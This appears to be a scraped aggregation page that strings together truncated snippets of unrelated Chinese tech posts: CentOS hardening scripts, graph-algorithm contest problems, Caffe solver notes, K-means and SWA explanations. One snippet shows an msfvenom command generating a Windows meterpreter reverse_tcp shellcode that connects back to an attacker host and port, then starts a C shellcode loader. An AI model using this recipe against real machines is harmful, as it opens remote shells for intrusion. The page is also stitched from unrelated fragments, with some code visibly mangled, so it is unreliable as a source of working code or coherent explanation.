原文: http://blog.csdn.net/czp0322/article/details/52161759 今天在做FCN实验的时候,发现solver.prototxt文件一直用的都是model里自带的,一直都对里面的参数不是很了解,所以今天认真学习了一下里面各个参数的意义. DL的任务中,几乎找不到解析解,所以将其转化为数学中的优化问题.sovler的主要作用就是交替调用前向传导和反向传导 (forward & backward) 来更新神经网络的连接权值,从而达到最小化loss,实际

#!/bin/bash #centos6. x86_64系统最小化安装优化脚本 #系统基础优化,建议以root运行 if [ $USER != "root" ];then echo "需要使用sudo运行此脚本" exit fi yum -y intall wget cd /usr/local/src wget http://mirrors.163.com/.help/CentOS6-Base-163.repo cd /etc/yum.repos.d/ mv Cen

http://www.spoj.com/problems/OPTM/ 题意: 给出一张图,点有点权,边有边权 定义一条边的权值为其连接两点的异或和 定义一张图的权值为所有边的权值之和 已知部分点的点权,自定义其余点的点权 使图的权值最小,并在此基础上使点权和最小 输出点的权值 异或——按位做 那么题目就变成了已知一些点的点权为0/1,自定义剩余点的点权0/1 使01相遇的边最少 (01相遇指的是一条边连接的两点的点权不同) 我们建立最小割模型: 先不考虑第二问 源点向已知点的点权为0的点连正无穷

1.生成ShellCode [root@localhost ~]# msfvenom -a x86 --platform Windows \ > -p windows/meterpreter/reverse_tcp \ > -b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c 2.替换ShellCode #pragma comment(linker,"/INCREMENTAL:NO") // 减小编译体积 #pragma comm

内容目录 centos6.5最小化安装后配置网络: IP地址, 网关, 主机名, DNS 更新系统源并且升级系统 系统时间更新和设定定时任 创建普通用户并进行sudo授权管理 修改SSH端口号和屏蔽root账号远程登陆 锁定关键文件系统(禁止非授权用户获得权限) 精简开机自启动服务 调整系统文件描述符大小 设置系统字符集 清理登陆的时候显示的系统及内核版本 内核参数优化 定时清理/var/spool/clientmqueue 删除不必要的系统用户和群组 关闭重启ctl-alt-delete组合键

题目大意 有N个节点以及连接的P个无向边,现在要通过这P条边从1号节点连接到N号节点.若无法连接成功,则返回-1:若能够连接成功,那么其中用到了L条边,这L条边中有K条边可以免费,L-K条边不能免费,求出不能免费的边的最大长度. 题目分析 判断能否到达,可以通过BFS搜索路径,若不能到达,返回-1:若能到达,且最少需要的路径的边数小于等于K,那么所有的边都可以免费,则返回0:若能够到达,且最少需要的路径边数大于K,则需要求出从节点1到节点N的路径中第K+1长的边的最小值,即最小化第k大的值问题.

K-means的缺点(优化不仅仅是最小化误差) #转载时,请注明英文原作David Robinson,译者Ding Chao.# 我最近遇到一个交叉验证的问题,我认为这个给我提供了一个很好的机会去用“R”和“ggplot2”探索下K-means算法的一些基本假设. K-means方法广泛用于聚类分析.可是在我看来,这个算法不需要任何假设啊,也就是说,给我一个数据集和一个预先指定的聚类数目k,然后我就可以应用这个算法去最小化SSE(误差平方和)就行了嘛. 恩..所以K-means本质上是一个优化问

  Centos 6.4 x86_64 最小化安装后的优化   购买了服务器以后要做的第一件事就是安装操作系统了,这里推荐安装 Centos 6.4 x86_64,安装系统时要选择最小化安装(不需要图形),在使用服务器时要记住一个原则,系统安装的应用程序包越少,服务器就会越稳定.至于服务器单机性能调优,应本着稳定安全的原则,尽量不要改动系统原有的配置(Cetnos系统自身的文件和内存机制就很优秀),以下配置优化部分也适合Amazon Linux系统,大家可以对比参考. 系统的基础优化 1)更新y

文章来自公众号[机器学习炼丹术] 1 stochastic weight averaging(swa) 随机权值平均 这是一种全新的优化器,目前常见的有SGB,ADAM, [概述]:这是一种通过梯度下降改善深度学习泛化能力的方法,而且不会要求额外的计算量,可以用到Pytorch的优化器中. 随机权重平均和随机梯度下降SGD相似,所以我一般吧SWa看成SGD的进阶版本. 1.1 原理与算法 swa算法流程: [怎么理解]: 对\(w_{swa}\)做了一个周期为c的滑动平均.每迭代c次,就会对这个

/* 题意:给出一个无向图,去掉一条权值最小边,使这个无向图不再连同! tm太坑了... 1,如果这个无向图开始就是一个非连通图,直接输出0 2,重边(两个节点存在多条边, 权值不一样) 3,如果找到了桥的最小权值为0,也就是桥上的士兵数为0,那么还是要最少派一个 士兵过去炸掉桥! 思路:假设每两个节点最多只有一条边进行相连! 进行tarjan算法,如果该算法调用了超过2次,说明这个原图就是不连通的! 否则在tarjan算法中将桥存起来!然后我们遍历每一座桥,看一看我们找到的 桥(连接的两个定点

题意:给定N个点,M条边,M >= N-1.已知M条边都有一个权值,已知前N-1边能构成一颗N个节点生成树,现问通过修改这些边的权值使得最小生成树为前N条边的最小改动总和为多少? 分析:由于计算的最小改动且为最小生成树则显然前N-1条边肯定权值都减少,后面的边权值都增加.由于选择的边为前N-1得到最小生成树,因此首先将N-1条边构图,然后对后面的每一条边,那么这条边所构成的环中,有任意一条边的a与该边b,设原始权重为w[a],w[b],改变量为d[a],w[b],则有w[a] - d[a] <

Going Home Time Limit: 10000/5000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total Submission(s): 3299    Accepted Submission(s): 1674 Problem Description On a grid map there are n little men and n houses. In each unit time, every l

题目链接: http://poj.org/problem?id=1797 Background Hugo Heavy is happy. After the breakdown of the Cargolifter project he can now expand business. But he needs a clever man who tells him whether there really is a way from the place his customer has buil

题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=3790 Problem Description 给你n个点,m条无向边,每条边都有长度d和花费p,给你起点s终点t,要求输出起点到终点的最短距离及其花费,如果最短距离有多条路线,则输出花费最少的.   Input 输入n,m,点的编号是1~n,然后是m行,每行4个数 a,b,d,p,表示a和b之间有一条边,且其长度为d,花费为p.最后一行是两个数 s,t;起点s,终点.n和m为0时输入结束.(1<n

global p global t global R % 输入神经元个数,此处是6个 global S1 % 隐层神经元个数,此处是10个 global S2 % 输出神经元个数,此处是4个 global S % 连接权值个数+阈值个数即(6*10+10*4)+(10+4) S1 = 10; p = [0.01 0.01 0.00 0.90 0.05 0.00; 0.00 0.00 0.00 0.40 0.50 0.00; 0.80 0.00 0.10 0.00 0.00 0.00; 0.00

本题思路:最短路变形,改变松弛方式即可,dist存的是源结点到当前结点的最长路的最小权值. 参考代码: #include <cstdio> #include <cstring> #include <algorithm> #define INF 0x3f3f3f3f using namespace std; + ; , G[maxn][maxn], dist[maxn]; bool vis[maxn]; int Dijkstra(int source, int aid)

文件链接 Karp在1977年的论文,讲述了一种\(O(nm)\)的算法,用来求有向强连通图中最小平均权值回路(具体问题请参照这里) 本人翻译(有删改): 首先任取一个节点 \(s\) ,定义 \(F_k(v)\) 为从 \(s\) 到 \(v\) 恰好经过 \(k\) 条边的最短路(不存在则为 \(\infty\) ), \(\lambda^*\) 表示答案,则 Theorem 1 \[\tag{1}\label{theorem}\lambda^* = \min_{v \in V} \max_

前言 网站设计的优化是一个很大的话题,有一些通用的原则,也有针对不同开发平台的一些建议.这方面的研究一直没有停止过,我在不同的场合也分享过这样的话题. 作为通用的原则,雅虎的工程师团队曾经给出过35个最佳实践.这个列表请参考  Best Practices for Speeding Up Your Web Site  http://developer.yahoo.com/performance/rules.html ,同时,他们还发布了一个相应的测试工具Yslowhttp://developer

http://acm.hdu.edu.cn/showproblem.php?pid=6141 题意: 求最大树形图. 思路: 把边的权值变为负值,那么这就是个最小树形图了,直接套模板就可以解决. 有个问题就是n结点的父亲结点的编号要尽量小,这里有个技巧可以用,权值编码,将所有边的权值都放大1000倍,对于和n相连的边,每条边在减去(n-u)的权值.这样就会去优先考虑编号小的边,而且因为权值最大为100,所以扩大1000是不会影响结果的. #include<iostream> #include&

生产服务器环境最小化安装后 Centos 6.5优化配置备忘 作者:Memory 发布于:2014-8-13 15:00 Wednesday 服务器 本文 centos 6.5 优化 的项有18处: 1.centos6.5最小化安装后启动网卡 2.ifconfig查询IP进行SSH链接 3.更新系统源并且升级系统 4.系统时间更新和设定定时任 5.修改ip地址.网关.主机名.DNS 6.关闭selinux,清空iptables 7.创建普通用户并进行sudo授权管理 8.修改SSH端口号和屏蔽r

Centos6.5生产环境最小化优化配置,满足业务需求! 01.启动网卡 #centos6.x最小化安装后,网卡默认不是启动状态 ifup eth0  //  ifconfig eth0 up /etc/sysconfig/network-scripts/ifcfg-eth0   #网卡网络配置 /etc/udev/rules.d/70-persistent-net.rules   #网卡命名规则 02.检查SSH服务 ifconfig 查看IP后SSH终端连接 service sshd res